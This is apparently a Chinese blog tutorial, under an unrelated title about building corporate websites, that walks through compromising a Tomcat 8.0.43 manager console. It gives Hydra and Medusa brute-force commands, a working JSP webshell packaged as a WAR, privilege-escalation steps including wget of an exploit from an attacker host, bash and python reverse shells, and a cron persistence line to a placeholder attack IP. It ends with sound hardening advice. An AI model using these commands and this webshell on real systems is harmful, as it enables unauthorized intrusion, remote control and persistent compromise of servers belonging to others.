企业官网建设流程全解析

1. 项目概述：一次典型的Tomcat管理后台渗透实战

最近在整理内部安全演练的案例库，翻到了一个挺有代表性的老漏洞利用链，核心是围绕Tomcat 8.0.43版本的管理后台展开的。这个案例之所以经典，是因为它完整地串联了从信息收集、弱口令爆破、权限获取到最终后门植入的整个攻击路径，非常直观地展示了“千里之堤，溃于蚁穴”的道理。很多开发团队在部署Tomcat时，往往只关注应用能否跑起来，却忽略了最基本的安全配置，比如默认开启且未修改密码的管理后台（Manager App和Host Manager），这就给攻击者留下了可乘之机。这个实战过程不仅适用于安全测试人员理解攻击手法，更能给运维和开发同学敲响警钟，看看自己的线上环境是否存在同样的安全隐患。

简单来说，这个实战模拟了攻击者如何利用一个未做任何加固的Tomcat 8.0.43实例，通过常见的弱口令字典成功登录管理后台，然后利用后台提供的应用部署功能，上传一个包含后门的WAR包，从而在服务器上获得一个Webshell，进而执行任意命令、控制服务器。整个过程用到的工具都很常见，思路也很直接，但破坏力却不容小觑。接下来，我会把整个过程的思路、操作细节、遇到的坑以及如何防御，掰开揉碎了讲清楚。

2. 环境搭建与目标信息收集

实战的第一步永远是搞清楚目标是什么。我们假设目标是一个对外暴露了8080端口的Tomcat服务器。在真实环境中，这可能源于一次不经意的端口扫描，或者是从某些网络空间测绘引擎（如FOFA、Shodan）上通过特征搜索到的结果。

2.1 目标Tomcat环境确认

首先，我们需要确认目标运行的是Tomcat，并且版本是存在弱口令风险的8.0.43（当然，其他未正确配置的版本同样脆弱）。最直接的方式就是访问其默认的Web页面。

# 使用curl简单探测 curl -I http://target_ip:8080

如果返回的HTTP头中包含了Server: Apache-Coyote/1.1或直接在HTML页面中看到Tomcat的欢迎页，基本就能确定。更精确的版本信息有时会藏在页面底部或错误信息里。访问http://target_ip:8080/manager/html或http://target_ip:8080/host-manager/html，如果弹出认证框，那就说明管理后台是开启的，这正是我们寻找的入口点。

注意：许多管理员会修改默认的8080端口，或者将Tomcat放在Nginx/Apache等反向代理之后。这时就需要更全面的端口扫描和服务识别。使用Nmap进行扫描是不错的选择：nmap -sV -p 1-65535 target_ip，重点关注开放了HTTP服务的端口。

2.2 弱口令字典的准备与选用

面对一个需要认证的管理后台，暴力破解是常见手段。其成功率高度依赖于字典的质量。你不能用一个通用的“admin/123456”去碰运气，而应该使用更有针对性的字典。

1. Tomcat默认凭证：这是第一优先级。Tomcat在tomcat-users.xml文件中定义角色和用户。虽然安装后默认是注释掉的，但很多懒人配置或网上搜来的教程，会直接使用这些默认或简单的组合。常见的默认尝试包括：

   • tomcat/tomcat
   • admin/admin
   • manager/manager
   • role1/tomcat
   • both/tomcat(同时具有manager-gui和admin-gui角色)

2. 通用弱口令字典：包含top100、top1000的常见密码，如123456,password,12345678,qwerty等。

3. 定制化字典：如果目标有特定属性，可以生成定制字典。例如，如果知道公司名是“ABC”，可以尝试abc123,abc@2023,Abc#123等组合。工具如crunch或cewl（爬取网站生成字典）可以用于此目的。

我个人习惯将这几个字典合并、去重，形成一个专用于Tomcat爆破的字典文件，比如tomcat_weak.txt。在实战中，一个精心准备的字典往往能事半功倍。

3. 核心攻击链：从爆破到后台登录

有了目标和字典，接下来就是实施爆破。这里我们不讨论那些法律边界模糊的“超级工具”，而是用最经典、最透明的Burp Suite Intruder模块来演示原理，同时也会提及其他高效工具的思路。

3.1 使用Burp Suite进行手动静默爆破

Burp Suite的Intruder模块功能强大，适合学习和精细控制攻击过程。

1. 拦截登录请求：首先用浏览器访问http://target_ip:8080/manager/html，会弹出一个HTTP Basic认证的对话框。输入任意用户名密码（比如test/test），点击登录。此时，用Burp Suite的Proxy模块拦截这个请求。
2. 发送到Intruder：将拦截到的请求右键发送到Intruder模块。
3. 设置攻击位置：在Intruder的Positions标签页，清除所有自动标记，然后手动选中认证头Authorization: Basic dGVzdDp0ZXN0中的dGVzdDp0ZXN0部分（这是test:test的Base64编码）。这里就是我们放置爆破载荷的位置。
4. 配置载荷：在Payloads标签页，选择Payload类型为Custom iterator有时更方便，但更直接的是使用Simple list，然后加载我们准备好的tomcat_weak.txt字典。关键点在于：字典里的内容应该是username:password的格式，而不是单独的密码。因为HTTP Basic认证是将“用户名:密码”整体进行Base64编码的。如果你的字典是分开的用户名和密码，需要在Burp里配置两个Payload集，并使用Cluster bomb攻击类型来组合。
5. 设置Payload Processing：由于我们需要发送的是Base64编码后的字符串，所以必须添加一个Encode规则，选择Base64-encode。这是很多新手会忽略导致爆破失败的关键一步。
6. 开始攻击与结果判断：开始攻击后，Intruder会使用字典中的每个user:pass组合，编码后替换请求中的对应部分并发起请求。我们需要关注响应状态码（Status）和响应长度（Length）。对于Tomcat管理后台，认证失败通常返回401 Unauthorized，并且响应体固定。而认证成功则会返回200 OK，并且页面内容是管理后台的HTML，其长度与401响应截然不同。因此，在结果列表中，通过排序“Status”或“Length”，很容易找出那个与众不同的成功请求，从中即可提取出正确的用户名和密码（需要将Payload进行Base64解码）。

实操心得：Burp Suite Intruder的“Grep - Extract”功能可以帮大忙。你可以先手动用一个错误密码登录，从401响应的HTML中提取一段特征字符串（如“未授权”）。然后在Intruder的Options标签页设置Grep - Extract，添加这个特征。在攻击结果中，如果某个响应的提取结果里没有这个特征字符串，那很可能就是成功了。这比单纯看长度更可靠，因为有时页面微小变动可能导致长度变化。

3.2 高效工具辅助：Hydra与Medusa

对于需要快速批量测试的场景，命令行工具更高效。Hydra和Medusa都是优秀的网络登录破解工具。

# 使用Hydra对Tomcat进行HTTP Basic认证爆破 # -l 指定单个用户名，-L 指定用户名字典 # -p 指定单个密码，-P 指定密码字典 # http-get 指定协议和方法，最后是目标URL hydra -L user_list.txt -P pass_list.txt target_ip http-get /manager/html # 更常用的方式是同时爆破用户名和密码，使用“-C”参数指定“用户名:密码”格式的字典文件 hydra -C tomcat_weak.txt target_ip http-get /manager/html # 使用Medusa，语法类似 medusa -h target_ip -u admin -P pass_list.txt -M http -m DIR:/manager/html

这些工具速度非常快，但需要注意网络稳定性，并合理设置线程数（-t参数）避免把目标打挂或触发防护规则。

4. 权限利用：后门WAR包的制作与上传

成功登录/manager/html后台后，我们就进入了“战利品陈列室”。这里最吸引人的功能就是“WAR file to deploy”。我们可以上传一个WAR归档文件，Tomcat会自动将其解压部署为一个Web应用。

4.1 制作Webshell WAR包

Webshell就是一个可以执行服务器命令的JSP文件。我们需要把它打包成WAR格式。

1. 编写JSP Webshell：创建一个最简单的JSP文件，比如cmd.jsp，内容如下。这个脚本通过Runtime.getRuntime().exec()执行请求参数cmd传来的命令。

<%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> <form method="get"> <input type="text" name="cmd" size=50> <input type="submit" value="Execute"> </form>

2. 打包成WAR：WAR包其实就是个ZIP格式的压缩包，里面需要符合一定的目录结构。最简单的方式：

   # 创建一个临时目录 mkdir shellapp cd shellapp # 将jsp文件放在WEB-INF目录外（直接放在根目录或自己建个子目录都行，能通过URL访问到即可） # 这里我们直接放在根目录 cp /path/to/cmd.jsp ./ # 打包成WAR (注意，不需要有WEB-INF目录，Tomcat也能识别并部署，但规范起见可以加一个空的) mkdir -p WEB-INF touch WEB-INF/web.xml # 可以是一个极简的web.xml，甚至空文件 jar -cvf ../shell.war ./*

   现在你就得到了一个shell.war文件。

注意事项：这种最基础的JSP Webshell容易被杀毒软件或Web应用防火墙（WAF）检测到。在实战中，可能会需要进行混淆、编码或使用更隐蔽的内存马技术。例如，将命令执行代码隐藏在图片中，或者使用Java反射、自定义类加载器等技术动态加载恶意字节码，以绕过静态检测。但对于理解原理和测试未防护的环境，这个简单的版本足够了。

4.2 通过管理后台上传并部署

回到Tomcat管理后台，找到“WAR file to deploy”区域。

1. 点击“浏览”或“选择文件”按钮，选中我们刚生成的shell.war。
2. 点击“Deploy”按钮。
3. 如果一切顺利，页面会刷新，并在应用列表（Applications）中看到你刚上传的应用，通常以其WAR包名（shell）作为上下文路径（Context Path）。

现在，访问http://target_ip:8080/shell/cmd.jsp，你应该能看到一个简单的输入框。在输入框里输入系统命令，例如whoami或id，点击执行，服务器返回的结果就会显示在页面上。至此，你已经成功在目标服务器上植入了一个Webshell，获得了命令执行权限。

5. 权限提升与后渗透操作

获得一个Webshell通常只是开始，它的权限可能受限（例如以tomcat用户运行）。我们需要进行信息收集和可能的权限提升。

5.1 信息收集

在Webshell中执行一些基础命令，了解服务器环境：

# 查看当前用户 whoami id # 查看系统信息 uname -a cat /etc/issue # 查看网络信息 ifconfig 或 ip addr netstat -antp # 查看进程 ps aux # 查看Tomcat安装路径、配置文件 ps aux | grep tomcat find / -name \"tomcat-users.xml\" 2>/dev/null # 查看是否有其他敏感文件或数据库连接信息 find /home /opt /var -name \"*.properties\" -o -name \"*.yml\" -o -name \"*.xml\" 2>/dev/null | head -20

5.2 尝试权限提升

如果当前用户是tomcat，可以尝试以下方法提权：

1. 查找SUID文件：查找具有SUID权限的可执行文件，其中一些可能有已知的本地提权漏洞。

   find / -perm -4000 -type f 2>/dev/null

2. 查看sudo权限：检查当前用户能否以root身份运行某些命令。

   sudo -l

3. 利用内核漏洞：上传并运行像LinEnum、linux-exploit-suggester这样的脚本，检查系统是否存在已知的内核漏洞。然后寻找对应的本地提权EXP进行编译和运行。

   # 在本地下载exp，通过webshell上传 # 例如，使用wget从攻击机下载 cd /tmp wget http://your_attack_ip/exploit.c gcc exploit.c -o exploit ./exploit

   注意：编译需要目标服务器上有gcc，如果没有，可能需要交叉编译后上传二进制文件。

5.3 植入持久化后门

为了防止Webshell被管理员发现并删除，需要建立持久化访问。

1. 反向Shell：在Webshell中执行命令，反弹一个shell到你的监听服务器。

   # 在攻击机上用nc监听 nc -lvnp 4444 # 在Webshell中执行（根据目标环境选择） bash -c 'bash -i >& /dev/tcp/your_attack_ip/4444 0>&1' # 或者使用python/perl等 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_attack_ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

2. 创建计划任务（Cron）：添加一个定时任务，定期连接你的服务器。

   # 编辑当前用户的crontab (crontab -l 2>/dev/null; echo \"*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/your_attack_ip/5555 0>&1'\") | crontab -

3. 添加SSH密钥：如果允许，将你的公钥写入~/.ssh/authorized_keys文件，实现免密SSH登录。

6. 漏洞根源分析与安全加固建议

整个攻击链能够成功，根本原因在于松懈的安全配置。下面我们来逐一分析并给出加固方案。

6.1 漏洞成因深度剖析

1. 管理后台暴露于公网：这是最严重的错误。Tomcat的Manager和Host Manager应用设计初衷是用于开发、测试环境的部署和管理，绝不应该在生产环境中对外网开放。
2. 使用弱口令或默认口令：即使后台不得不对内网开放，使用弱口令或网上泛滥的默认配置，等同于不设防。
3. 未启用访问控制列表（ACL）或网络层过滤：没有限制特定IP段才能访问管理后台。
4. Tomcat版本可能过旧：虽然8.0.43本身不一定有严重的RCE漏洞，但旧版本可能包含其他已知漏洞，攻击者可以利用Webshell进一步利用。
5. 应用程序部署功能滥用：管理后台的“deploy”功能权限过高，允许上传任意WAR包并自动执行。

6.2 全面加固方案

1. 禁用或严格限制管理后台访问：

• 最佳实践：生产环境彻底删除或禁用Manager和Host Manager应用。在conf/Catalina/localhost/目录下删除manager.xml和host-manager.xml，或者直接移除webapps目录下的manager和host-manager文件夹。
• 如果必须使用：
  • 修改默认路径：在server.xml中修改Context的路径，使其不易被猜解。
  • 强密码策略：在tomcat-users.xml中配置复杂密码，并遵循最小权限原则，只赋予必要的角色（如manager-gui用于查看，manager-script用于API部署）。
  • IP白名单：在context.xml（位于manager/META-INF/下）中配置Valve，限制访问IP。

    <Context antiResourceLocking="false" privileged="true" > <Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="192.168.1.0/24|127.0.0.1" /> <!-- 只允许特定IP段 --> </Context>

  • 使用防火墙策略：在服务器防火墙或安全组上，只允许特定的管理IP访问Tomcat的管理端口。

2. 升级与补丁管理：

• 定期升级Tomcat到最新稳定版本，及时修复已知安全漏洞。关注Apache Tomcat官方安全公告。

3. 运行权限降级：

• 绝对不要以root用户运行Tomcat。创建一个专用的、低权限的系统用户（如tomcat）来运行Tomcat服务。这能有效遏制攻击者通过Tomcat漏洞或Webshell进行提权。

  # 创建用户和组 groupadd tomcat useradd -s /bin/false -g tomcat -d /opt/tomcat tomcat # 更改Tomcat目录所有权 chown -R tomcat:tomcat /opt/tomcat # 使用该用户启动 sudo -u tomcat /opt/tomcat/bin/startup.sh

4. 文件系统权限控制：

• 严格控制Tomcat目录的写权限。webapps目录通常只需要Tomcat用户有读和执行权限，不需要写权限。可以将应用以WAR包形式放在webapps目录让其自动解压，或者更好的方式是在server.xml中配置docBase指向一个只读目录。

5. 部署安全防护设备：

• 在Tomcat前部署WAF（Web应用防火墙），可以有效拦截针对管理后台的暴力破解、恶意请求以及Webshell的上传和访问。
• 部署主机安全Agent或HIDS（主机入侵检测系统），监控异常进程、文件创建和网络连接，能及时发现Webshell等入侵行为。

6. 定期安全审计与演练：

• 定期对Tomcat配置进行安全审查，检查是否有不必要的应用、服务暴露。
• 使用漏洞扫描工具对自身服务进行扫描，主动发现弱口令、已知漏洞等问题。
• 进行红蓝对抗演练，模拟攻击者的手法来检验自身防御体系的有效性。

这个从Tomcat弱口令到后门植入的实战案例，清晰地展示了一个微小配置疏忽如何导致整个系统沦陷。安全是一个整体，任何一环的薄弱都可能成为突破口。对于运维和开发人员而言，理解攻击者的思路和手法，不是为了实施攻击，而是为了能更好地构建防御。